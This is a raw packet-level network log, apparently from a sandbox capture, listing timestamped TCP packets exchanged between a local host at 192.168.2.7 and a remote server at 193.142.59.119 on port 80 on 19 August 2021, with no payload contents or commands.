Aug 19, 2021 07:53:40.367924929 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.367935896 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.367939949 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.367943048 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.372566938 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.372661114 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.372694016 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.372725964 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.372731924 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.372757912 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.372802019 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.372833014 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.372843981 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.372867107 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.372881889 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.372899055 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.372910976 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.372941017 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.372951031 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.372971058 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.372998953 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.373020887 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.373028040 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.373055935 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.373056889 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.373086929 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.373091936 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.373115063 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.373119116 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.373145103 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.373150110 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.373176098 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.373183012 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.373204947 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.373213053 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.373229980 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.373240948 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.376059055 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.376068115 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.376235008 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.376316071 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.376348972 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.376373053 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.376380920 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.376413107 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.376445055 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.376450062 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.376478910 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.376487017 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.376507044 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.376523018 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.376538038 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.376560926 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.376565933 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.376595020 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.376595974 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.376640081 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.376662970 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.398495913 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.398567915 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.398595095 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.398626089 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.398643970 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.398658037 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.398691893 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.398725986 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.398751020 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.398773909 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.398782015 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.398811102 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.398814917 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.398844957 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.398848057 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.398880005 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.398895979 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.398905039 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.398929119 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.398940086 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.398957968 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.398976088 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.398998976 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.399005890 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399038076 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399046898 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.399064064 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399075985 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.399082899 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399104118 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399152994 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.399163961 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399194002 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.399194956 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399224997 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399235010 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.399255991 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399264097 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.399286032 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399311066 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.399317980 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399353027 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399373055 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.399385929 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399406910 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.399416924 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399455070 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.399476051 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399492979 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.399523020 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399554014 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399596930 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399625063 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.399650097 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399677038 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.399688959 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399710894 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.399724007 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399744987 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.399753094 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399782896 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.399786949 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399806976 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.399816036 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399861097 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399879932 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.399913073 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399924040 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.399961948 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.399962902 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.399996996 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400048971 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400052071 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400084019 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400101900 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400135994 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400141001 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400177002 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400212049 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400232077 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400247097 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400269032 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400280952 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400306940 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400314093 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400335073 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400347948 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400362968 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400381088 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400391102 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400415897 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400429964 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400449991 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400459051 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400484085 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400520086 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400522947 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400552988 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400557041 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400583982 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400587082 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400609970 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400623083 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400638103 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400657892 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400670052 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400693893 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400710106 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400727987 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400738955 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400763035 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400774956 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400798082 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400815010 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400832891 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400845051 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400866985 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400875092 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400901079 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400935888 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.400960922 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.400995970 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401002884 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401022911 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401046038 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401061058 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401073933 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401091099 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401101112 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401122093 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401139021 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401149988 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401166916 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401179075 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401201963 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401210070 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401230097 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401241064 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401257038 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401271105 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401290894 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401300907 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401319027 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401330948 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401345968 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401360989 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401374102 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401391029 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401406050 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401423931 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401433945 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401470900 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401474953 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401513100 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401546955 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401570082 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401581049 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401611090 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401613951 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401648045 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401652098 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401678085 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401679993 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401707888 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401714087 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401732922 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401750088 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401767015 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401784897 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401796103 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401823044 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401834965 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401868105 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401885033 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401899099 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401923895 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401941061 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401951075 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.401982069 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.401992083 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.402025938 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.402040958 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.402056932 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.402079105 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.402102947 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.402107000 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.402149916 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.402159929 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.402183056 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.402209997 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.402215004 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.402240038 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.402267933 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.408750057 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.408807039 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.408837080 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.408865929 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.408893108 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.408929110 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.409032106 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.622586966 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.625341892 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.664680004 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.666933060 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.698744059 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.698788881 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.698811054 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.698885918 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.729964972 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.730014086 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.730042934 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.730072021 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.730108976 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.730133057 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.747883081 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.761159897 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.761193037 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.761219025 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.761250973 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.761264086 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.761271954 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.761291027 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.761300087 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.761311054 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.761322021 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.761329889 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.761346102 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.761377096 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.793160915 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.793194056 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.793221951 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.793243885 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.793246031 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.793266058 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.793271065 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.793284893 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.793297052 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.793320894 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.793348074 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.793369055 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.793373108 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.793394089 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.793406010 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.793421030 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.793421984 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.793442965 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.793446064 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.793467045 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.793469906 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.793490887 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.793493986 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.793514013 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.793524981 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.793549061 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.793559074 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.793606043 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.824634075 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.824685097 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.824697018 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.824714899 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.824740887 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.824743986 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.824774027 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.824779034 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.824798107 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.824803114 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.824825048 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.824848890 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.824873924 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.824901104 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.824911118 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.824933052 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.824939966 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.824960947 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.824968100 CEST	80	49738	193.142.59.119	192.168.2.7
